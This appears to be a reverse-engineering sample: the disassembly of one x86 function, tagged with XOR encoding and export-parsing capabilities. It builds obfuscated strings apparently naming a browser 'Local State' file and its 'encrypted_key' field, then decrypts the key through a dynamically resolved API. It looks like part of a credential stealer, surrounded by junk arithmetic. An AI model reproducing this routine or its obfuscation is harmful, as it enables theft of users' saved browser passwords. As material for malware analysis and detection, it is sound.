Function at 0x413c4d
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
push 0x2e
pop eax
mov dword [esp + 0x6c], edx
mov edx, ecx
mov word [esp + 0x48], ax
xor eax, eax
mov dword [esp + 0x68], edx
xor ecx, ecx
mov word [esp + 0x4a], ax
mov word [esp + 0x14], 0x101
movzx eax, byte [esp + ecx + 0x14]
mov esi, 0xff
add ax, 0x2d
and ax, si
mov word [esp + ecx*2 + 0x70], ax
inc ecx
cmp ecx, 2
jl 0x413c79
xor eax, eax
mov word [esp + 0x74], ax
lea eax, [esp + 0x48]
mov dword [esp + 0x78], eax
lea eax, [esp + 0x70]
mov dword [esp + 0x7c], eax
mov al, byte [0x42b8a8]
and al, 0x87
xor ebp, ebp
mov byte [0x42b910], al
mov dword [esp + 0x50], ebp
mov dword [esp + 0x30], 0x9fb0afe6
xor ecx, ecx
mov dword [esp + 0x34], 0x9fb0afe6
mov dword [esp + 0x38], 0xa2a0ac8f
mov dword [esp + 0x3c], 0xb790e3af
mov word [esp + 0x40], 0xb7a2
mov byte [esp + 0x42], 0xa6
mov al, byte [esp + ecx + 0x30]
xor al, 0xc3
movzx eax, al
mov word [esp + ecx*2 + 0x98], ax
inc ecx
cmp ecx, 0x13
jl 0x413cec
push dword [esp + ebp*4 + 0x78]
xor eax, eax
mov word [esp + 0xc2], ax
mov al, byte [0x42b910]
or al, 0x5e
xor al, 0xb4
mov byte [0x42b910], al
lea eax, [esp + 0x9c]
push edx
push eax
call fcn.00422def
movzx ecx, byte [0x42b910]
mov edi, eax
mov eax, 0xd6c2
mov dword [esp + 0x6c], edi
and cx, ax
add esp, 0xc
mov word [0x42b8a8], cx
mov cl, byte [0x42b8c0]
or cl, 0x53
mov byte [0x42b910], cl
test edi, edi
je 0x4141c9
movzx eax, cl
lea edx, [esp + 0x18]
imul eax, eax, 0xfe
xor ebx, ebx
and dword [esp + 0x18], ebx
xor esi, esi
and dword [esp + 0x1c], ebx
mov dword [esp + 0x4c], esi
movzx ecx, al
xor ecx, 2
or ecx, 0xda37ced
imul eax, ecx, 0xffdd
and eax, 0x1b54
mov word [0x42b8a8], ax
lea eax, [ecx - 0x1885c953]
mov dword [0x42b8c0], eax
mov ecx, edi
sub al, 0x1c
mov byte [0x42b910], al
lea eax, [esp + 0x1c]
push eax
call fcn.00423401
pop ecx
test al, al
je 0x413fd0
mov dl, byte [0x42b910]
xor ebp, ebp
mov eax, dword [esp + 0x1c]
or dl, 8
movzx ecx, dl
add ecx, 0x73ed
mov byte [esp + 0x14], bl
or ecx, 0xcbb3c033
mov dword [esp + 0x44], ebp
imul esi, ecx, 0xbe22
and ecx, 0x1bd3b3a1
add eax, 0xfffffff2
mov dword [0x42b8c0], ecx
mov dword [esp + 0x5c], eax
mov word [0x42b8a8], si
je 0x413fb0
mov edi, dword [esp + 0x18]
push 0x10
pop eax
sub eax, edi
mov dword [esp + 0x20], 0xe7f6fbf0
mov dword [esp + 0x24], 0xf0e1e5ec
mov dword [esp + 0x28], 0xf0fecaf1
mov byte [esp + 0x2c], 0xec
mov dword [esp + 0x1c], eax
xor ecx, ecx
mov al, byte [esp + ecx + 0x20]
xor al, 0x95
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 0xd
jl 0x413e3c
movzx ecx, si
xor dl, 0x2b
add ecx, 0xdacbe529
mov byte [0x42b910], dl
cmp byte [esp + 0x14], 0
mov byte [esp + 0x95], 0
mov dword [0x42b8c0], ecx
lea eax, [ecx + 0x7a0a]
movzx edx, ax
mov word [0x42b8a8], ax
jne 0x413fac
push 0xd
lea eax, [esp + 0x8c]
or edx, 0xdd7
push eax
push edi
mov word [0x42b8a8], dx
call fcn.004022e4
add esp, 0xc
test eax, eax
jne 0x413f89
mov ebp, dword [esp + 0x1c]
movzx ecx, byte [0x42b8c0]
add ebp, edi
and ecx, 0xc2
mov esi, ebp
xor ecx, 0xefbd1af
sub esi, dword [esp + 0x44]
mov eax, ecx
or ecx, 0x2414fff9
or eax, 0x655d
cmp byte [edi + esi], 0x22
movzx edx, ax
mov word [0x42b8a8], ax
jne 0x413f14
imul edx, edx, 0x3e21fcc2
push esi
mov dword [0x42b8c0], edx
sub dl, 0x54
mov byte [0x42b910], dl
call fcn.0040570b
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x413f17
mov ecx, dword [0x42b8c0]
inc esi
jmp 0x413ed0
xor dword [0x42b8c0], 0x13c75594
mov eax, 0xc7d9
or word [0x42b8a8], ax
add esi, 0xfffffff0
mov eax, dword [esp + 0x18]
push esi
add eax, ebp
mov byte [0x42b910], 0x41
push eax
push ebx
mov dword [esp + 0x58], esi
call fcn.00401d70
mov dl, byte [0x42b910]
mov ecx, 0xf77d
mov ebp, dword [esp + 0x50]
add esp, 0xc
movzx eax, dl
xor ax, cx
mov byte [esp + 0x14], 1
mov ecx, 0x88aa
and ax, cx
movzx ecx, ax
mov si, ax
add ecx, 0x5caab40f
mov word [0x42b8a8], si
mov dword [0x42b8c0], ecx
jmp 0x413f9c
mov dl, byte [0x42b910]
mov si, word [0x42b8a8]
mov ecx, dword [0x42b8c0]
inc ebp
inc edi
mov dword [esp + 0x44], ebp
cmp ebp, dword [esp + 0x5c]
jb 0x413e3a
mov edi, dword [esp + 0x60]
push dword [esp + 0x18]
movzx eax, cl
imul eax, eax, 0xae
mov byte [0x42b910], al
call fcn.004056f0
mov ebp, dword [esp + 0x54]
mov esi, dword [esp + 0x50]
pop ecx
movzx eax, byte [0x42b910]
xor eax, 0x6cc0349d
push edi
mov dword [0x42b8c0], eax
call fcn.004056f0
movzx eax, word [0x42b8a8]
imul eax, eax, 0x2310c4b6
pop ecx
mov dword [0x42b8c0], eax
test ebx, ebx
je 0x4141c9
test esi, esi
je 0x4141c9
xor eax, 0x92ae
mov edx, esi
mov word [0x42b8a8], ax
mov ecx, ebx
add al, 7
mov byte [0x42b910], al
movzx eax, al
xor eax, 0xecb99cd6
mov dword [0x42b8c0], eax
lea eax, [esp + 0x64]
push eax
call fcn.0040f780
mov esi, eax
mov eax, 0xf3d6
xor word [0x42b8a8], ax
push ebx
call fcn.004056f0
mov eax, 0x43a5
or word [0x42b8a8], ax
pop ecx
pop ecx
test esi, esi
je 0x4141c9
lea eax, [esi + 5]
mov ecx, 0xe8
mov dword [esp + 0x84], eax
mov edx, 0xbedfd981
movzx eax, byte [0x42b910]
add ax, cx
movzx ecx, ax
mov eax, dword [esp + 0x64]
and ecx, 0x2001300
add eax, 0xfffffffb
or ecx, 0x20030408
mov dword [esp + 0x80], eax
mov eax, ecx
or eax, 0xa562
mov dword [0x42b8c0], ecx
mov word [0x42b8a8], ax
sub cl, 0xf
lea eax, [esp + 0x54]
mov byte [0x42b910], cl
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x98]
push eax
push 3
pop ecx
call fcn.00415084
call eax
test eax, eax
je 0x4141a9
mov al, byte [0x42b8a8]
mov ecx, 0xce76
push dword [esp + 0x54]
xor al, 0x46
movzx eax, al
xor ax, cx
mov word [0x42b8a8], ax
add al, 0x70
mov byte [0x42b910], al
movzx eax, al
xor eax, 0xfb9f5e0f
or eax, 0x791d5401
mov dword [0x42b8c0], eax
call fcn.0040570b
pop ecx
movzx ecx, byte [0x42b910]
mov edi, eax
imul ecx, ecx, 0xb6
mov byte [0x42b910], cl
test edi, edi
je 0x4141af
movzx eax, word [0x42b8a8]
push dword [esp + 0x54]
or eax, 0xd664e76e
push dword [esp + 0x5c]
mov dword [0x42b8c0], eax
movzx eax, cl
mov ecx, 0xe10
add ax, cx
push edi
mov word [0x42b8a8], ax
call fcn.00401d70
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x60]
push esi
mov dword [ecx], eax
mov eax, dword [0x42b8c0]
add eax, 0xffff906f
movzx eax, ax
add eax, 0xd473b140
mov dword [0x42b8c0], eax
imul eax, eax, 0xc9bb
mov word [0x42b8a8], ax
call fcn.004056f0
add esp, 0x10
mov eax, edi
and dword [0x42b8c0], 0x1bff06c1
jmp 0x4141ee
mov cl, byte [0x42b910]
sub dword [0x42b8c0], 0x412dafd5
or cl, 0x96
push esi
mov byte [0x42b910], cl
call fcn.004056f0
pop ecx
inc ebp
mov dword [esp + 0x50], ebp
cmp ebp, 2
jae 0x4141dc
mov edx, dword [esp + 0x68]
jmp 0x413cbe
mov eax, dword [0x42b8c0]
add eax, 0xffffff16
mov word [0x42b8a8], ax
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret